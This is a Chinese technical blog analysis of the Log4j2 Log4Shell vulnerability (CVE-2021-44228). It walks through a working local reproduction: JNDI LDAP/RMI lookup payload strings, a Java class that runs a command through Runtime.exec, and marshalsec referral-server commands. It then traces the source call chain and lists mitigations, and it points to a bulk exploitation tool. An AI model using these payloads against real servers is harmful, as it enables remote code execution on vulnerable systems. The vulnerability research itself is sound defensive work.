Log4j2 zero day(CVE-2021-44228) 漏洞浅析

引言: 不管是什么编程语言,不管是前端后端还是客户端,对打日志都不会陌生。通过日志,可以帮助我们了解程序的运行情况,排查程序运行中出现的问题。在Java技术栈中,用的比较多的日志输出框架主要是log4j2logback。我们经常会在日志中输出一些变量,比如:logger.info(“proj name: {}”, name),那作为一个优秀的全异步日志框架log4j2是否就是完美无瑕的呢?No,当然不是,最近全球知名开源日志组件 Apache Log4j2 被阿里团队曝出严重高危漏洞。该漏洞号称可以让黑客不用知道服务器账号,就可以做到如入无人之境,进而对你的服务做任何你可以想象到的破坏。

漏洞描述: 阿里云安全团队报告Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka均受影响。

漏洞编号: CVE-2021-44228

CVSS评分:10.0(最高只能10分)

基本原理:

1.时序图

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第1张图片

2.流程图

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第2张图片

具体细节实现:

1.伪装一个请求体,包含JNDI可执行的服务,以下展示LDAP与RMI两种请求格式:

LDAP: ${jndi:ldap://127.0.0.1:1234/calc}
RMI: ${jndi:rmi://127.0.0.1:1234/calc}
2.Service App在恰巧输出了请求体或者入参的log日志时,则会触发此URL的请求,进一步主动请求了攻击者提前准备好的的LADP/RMI Service App

3.利用LDAP/RMI的特性,我们可以伪装返回值,含有待执行的恶意Class文件地址以及Class类名

4.LDAP服务找不到对应Class文件就会触发JNDI的机制从远程服务器中下载Class中

5.Malicious Service App提供可执行Class文件下载,Service App拿到到Class文件后会触发反序列化执行代码,达到了远程执行代码的目的

名词解释:

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。简单理解就是有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。援引网上的说法,jndi就是java一套资源发现和使用的接口,用来将各种资源做整合,程序员不用关心底层配置和代码实现,将资源拿来用就可以了

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第3张图片

RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能。在JVM之间通信时,RMI对远程对象和非远程对象的处理方式是不一样的,它并没有直接把远程对象复制一份传递给客户端,而是传递了一个远程对象的Stub,Stub基本上相当于是远程对象的引用或者代理。Stub对开发者是透明的,客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节,所以RMI远程调用逻辑是这样的

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第4张图片

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),基于TCP/IP协议,可以理解为目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。简单理解就是有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

基于以上名词的理解,那么本次漏洞的原因就很好理解了

那log4j2既然是一个日志框架, 那应该是打印到控制台才对, 为什么一个简单的打印会爆出如此可怕级别的漏洞呢, 那是因为log4j2不仅仅只用于输出一段文字, 甚至可以通过日志输出一个Java对象,但是如果这个对象并不在当前程序中,而是在其他地方,比如说在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?log4j2牛逼的地方就来了,它除了可以输出程序中的变量,甚至提供了一个叫**Lookup**的东西,用来输出更多内容。

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第5张图片

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第6张图片

lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

其次将内容进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,并找到对应的LDAP服务器地址和对应的类文件名称。

最后,调用具体负责LDAP的模块去请求对应的数据。

问题点就出在还可以请求Java对象, 我们都知道Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

当然如果是通过我们定义的网络路径传输当然并不是什么问题, 那么如果此网络路径是恶意路径呢, 是一个黑客服务器路径呢???这就是鼎鼎大名的JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。

JNDI注入中RMI和LDAP与JDK版本的关系,参考这张图:

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第7张图片

引用来源: https://xz.aliyun.com/t/6633

RMI + JNDI Reference利用方式
JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类

LDAP + JDNI Reference利用方式:
JDK 6u211,7u201, 8u191, 11.0.1之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

好了, 说了那么多, 漏洞如何复现呢?接下来让我们尝试复现此漏洞

环境准备: Win10 + jdk_1.8.0_292 + log4j-core_2.13.3 + log4j-api_2.13.3 + python_3.8

  1. LDAP方式实现

    1. 准备好待执行java代码并编译为class文件

      public class calc {
          static {
              try {
                  Runtime rt = Runtime.getRuntime();
                  String[] commands = {"calc"};
                  Process pc = rt.exec(commands);
                  pc.waitFor();
              } catch (Exception ignored) {
              }
          }
      }
      
      javac calc.java
      
    2. 在class文件目录下利用python搭建http服务传输class文件的服务

      1. python -m SimpleHTTPServer 8080     //python2 模式命令
      2. python -m http.server 8080          //python3 模式命令
      
    3. 搭建并启动一个LDAP服务器, 监听1234端口

      下载marshalsec(该项目是已经准备好的可以开启LDAP以及RMI服务的应用)

      新建cmd窗口并执行以下命令

      1. git clone https://github.com/mbechler/marshalsec.git
      2. cd marshalsec
      3. mvn clean package -DskipTests
      4. cd target
      5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[ip]:[port]/#calc" 1234   //ip port就填上上面搭建的class传输服务的地址
      
    4. 创建测试项目

      项目中log4j版本依赖定义

      		<dependency>
                  <groupId>org.apache.logging.log4jgroupId>
                  <artifactId>log4j-coreartifactId>
                  <version>2.13.3version>
              dependency>
              
              <dependency>
                  <groupId>org.apache.logging.log4jgroupId>
                  <artifactId>log4j-apiartifactId>
                  <version>2.13.3version>
              dependency>
      

      项目启动方法定义

      public class log4jRCE {
          private static final Logger logger = LogManager.getLogger(log4jRCE.class);
      
          public static void main(String[] args) {
              logger.error("${jndi:ldap://127.0.0.1:1234/calc}");
          }
      }
      
    5. 启动项目执行入口方法发现本机的计算器窗口被打开

    Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第8张图片

  2. RMI方式实现

    1. 将以上LDAP方式中第三步中的第5小步命令更换成

      5. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[ip]:[port]/#calc" 1234   //ip port就填上上面搭建的class传输服务的地址
      
    2. 将启动入口方法日志打印内容更换为

      public class log4jRCE {
          private static final Logger logger = LogManager.getLogger(log4jRCE.class);
      
          public static void main(String[] args) {
              logger.error("${jndi:rmi://127.0.0.1:1234/calc}");
          }
      }
      

至此, 漏洞复现完毕,接下来 我们深入一下调用链路究竟logger.error()是如何层层调用至JndiLookup.lookup的:

首先我们从debug logger.error()跟进至AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn,
                           final StackTraceElement location,
                           final Level level,
                           final Marker marker,
                           final Message message,
                           final Throwable throwable) {
    try {
        log(level, marker, fqcn, location, message, throwable);
    } catch (final Exception e) {
        handleLogMessageException(e, fqcn, message);
    }
}

然后是org.apache.logging.log4j.core.Loggger.log

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
                   final Message message, final Throwable throwable) {
    final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
    if (strategy instanceof LocationAwareReliabilityStrategy) {
        // 触发点
        ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
                                                          message, throwable);
    } else {
        strategy.log(this, getName(), fqcn, marker, level, message, throwable);
    }
}

然后是org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
                final StackTraceElement location, final Marker marker, final Level level, final Message data,
                final Throwable t) {
    loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")
    public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
        final Level level, final Message data, final Throwable t) {
        ...
        try {
            // 跟入
            log(logEvent, LoggerConfigPredicate.ALL);
        } finally {
            ReusableLogEventFactory.release(logEvent);
        }
    }

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
    if (!isFiltered(event)) {
        // 跟入
        processLogEvent(event, predicate);
    }
}

进入processLogEvent方法

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        // 关键点
        callAppenders(event);
    }
    logParent(event, predicate);
}

可以看到调用appender.controlcallAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {
    final AppenderControl[] controls = appenders.get();
    //noinspection ForLoopReplaceableByForEach
    for (int i = 0; i < controls.length; i++) {
        controls[i].callAppender(event);
    }
}

继续

public void callAppender(final LogEvent event) {
        if (shouldSkip(event)) {
            return;
        }
    //跟入
        callAppenderPreventRecursion(event);
    }

继续

private void callAppenderPreventRecursion(final LogEvent event) {
        try {
            recursive.set(this);
            //跟入
            callAppender0(event);
        } finally {
            recursive.set(null);
        }
    }

继续

private void callAppender0(final LogEvent event) {
        ensureAppenderStarted();
        if (!isFilteredByAppender(event)) {
            //跟入
            tryCallAppender(event);
        }
    }

跟入tryCallAppender方法

private void tryCallAppender(final LogEvent event) {
        try {
            //跟入
            appender.append(event);
        } catch (final RuntimeException ex) {
            handleAppenderError(event, ex);
        } catch (final Exception ex) {
            handleAppenderError(event, new AppenderLoggingException(ex));
        }
    }

进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

@Override
    public void append(final LogEvent event) {
        try {
            //跟入
            tryAppend(event);
        } catch (final AppenderLoggingException ex) {
            error("Unable to write to stream " + manager.getName() + " for appender " + getName(), event, ex);
            throw ex;
        }
    }

跟入

private void tryAppend(final LogEvent event) {
        if (Constants.ENABLE_DIRECT_ENCODERS) {
            //跟入
            directEncodeEvent(event);
        } else {
            writeByteArrayToManager(event);
        }
    }

跟入

protected void directEncodeEvent(final LogEvent event) {
    	//跟入
        getLayout().encode(event, manager);
        if (this.immediateFlush || event.isEndOfBatch()) {
            manager.flush();
        }
    }

跟入encode方法进入到PatternLayout.encode方法

@Override
    public void encode(final LogEvent event, final ByteBufferDestination destination) {
        if (!(eventSerializer instanceof Serializer2)) {
            super.encode(event, destination);
            return;
        }
        //重点位置跟入
        final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
        final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
        encoder.encode(text, destination);
        trimToMaxSize(text);
    }

跟入toText方法到toSerializable方法中

@Override
        public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
            final int len = formatters.length;
            for (int i = 0; i < len; i++) {
                //遍历formatters,均为PatternFormatter的实现,其中有一个
                //对象包含的MessagePatternConverter属性触发了漏洞
                formatters[i].format(event, buffer);
            }
            if (replace != null) { // creates temporary objects
                String str = buffer.toString();
                str = replace.format(str);
                buffer.setLength(0);
                buffer.append(str);
            }
            return buffer;
        }

跟入index为8的formatter找到其format方法

image

跟入

public void format(final LogEvent event, final StringBuilder buf) {
        if (skipFormattingInfo) {
            converter.format(event, buf);
        } else {
            formatWithInfo(event, buf);
        }
    }

跟入其converter实现为MessagePatternConverter的format核心方法

Remark(修复后此处对象变更为MessagePatternConverter.SimplePatternConverter类,跟了下流程发现到PatternLayout.toSerializable方法发生了变化不过这里的变化没有什么影响,其中的formatters属性的变化将操作变成了直接拼接字符串的操作,不去判断${}这种情况)

@Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) {
        final Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {

            final boolean doRender = textRenderer != null;
            final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

            final int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
            } else {
                ((StringBuilderFormattable) msg).formatTo(workingBuilder);
            }

            // TODO can we optimize this?
            if (config != null && !noLookups) {
                for (int i = offset; i < workingBuilder.length() - 1; i++) {
                    //重点位置 检测关键词 ${ 
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        final String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        //跟入replace方法
        			workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
            if (doRender) {
                textRenderer.render(workingBuilder, toAppendTo);
            }
            return;
        }
        if (msg != null) {
            String result;
            if (msg instanceof MultiformatMessage) {
                result = ((MultiformatMessage) msg).getFormattedMessage(formats);
            } else {
                result = msg.getFormattedMessage();
            }
            if (result != null) {
                toAppendTo.append(config != null && result.contains("${")
                        ? config.getStrSubstitutor().replace(event, result) : result);
            } else {
                toAppendTo.append("null");
            }
        }
    }

跟入StrSubstitutor.replace方法

public String replace(final LogEvent event, final String source) {
    if (source == null) {
        return null;
    }
    final StringBuilder buf = new StringBuilder(source);
    // 跟入
    if (!substitute(event, buf, 0, source.length())) {
        return source;
    }
    return buf.toString();
}

跟入StrSubstitutor.subtute方法,主要作用是递归处理日志输入,转为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);
}

那恶意输入logger.error("error_message:${jndi:ldap://127.0.0.1:1234/calc}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/calc进入resolveVariable方法

跟入resolveVariable方法

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                     final int startPos, final int endPos) {
        final StrLookup resolver = getVariableResolver();
        if (resolver == null) {
            return null;
        }
        //跟入
        return resolver.lookup(event, variableName);
    }

根据jndi开头的标识获取对应的resolver,在这里为JndiLookup,跟入其lookup 方法如下

@Override
    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        final String jndiName = convertJndiName(key);
        try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
            //跟入lookup方法
            return Objects.toString(jndiManager.lookup(jndiName), null);
        } catch (final NamingException e) {
            LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
            return null;
        }
    }

跟入JndiManagerlookup方法

public <T> T lookup(final String name) throws NamingException {
    //跟入
        return (T) this.context.lookup(name);
    }

跟入到com.sun.jndi.url.ldap.ldapURLContextlookup(String var1)方法

public Object lookup(String var1) throws NamingException {
        if (LdapURL.hasQueryComponents(var1)) {
            throw new InvalidNameException(var1);
        } else {
            //跟入
            return super.lookup(var1);
        }
    }

跟入GenericURLContextlookup方法

 public Object lookup(String var1) throws NamingException {
 		//根据url地址获取java对象
        ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
        //获取context执行
        Context var3 = (Context)var2.getResolvedObj();
        Object var4;
        try {
            var4 = var3.lookup(var2.getRemainingName());
        } finally {
            var3.close();
        }
        return var4;
    }

后续的处理只是执行层面的, 有兴趣的可以继续往后debug, 本次源码剖析暂时告一段落

解决方案:
1、临时缓解方案

在jvm参数中添加 -Dlog4j2.FORMATMsgNoLookups=true
系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
2、彻底修复方案

手动删除log4j-core-*.jar中org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务即可。
升级到官方提供的 log4j-2.15.0-rc2 版本

最后附一款GUI工具,项目地址:GitHub - inbug-team/Log4j_RCE_Tool: Log4j 多线程批量检测利用工具

Log4j2 zero day(CVE-2021-44228) 漏洞浅析_第9张图片

你可能感兴趣的:(java,安全,开发语言)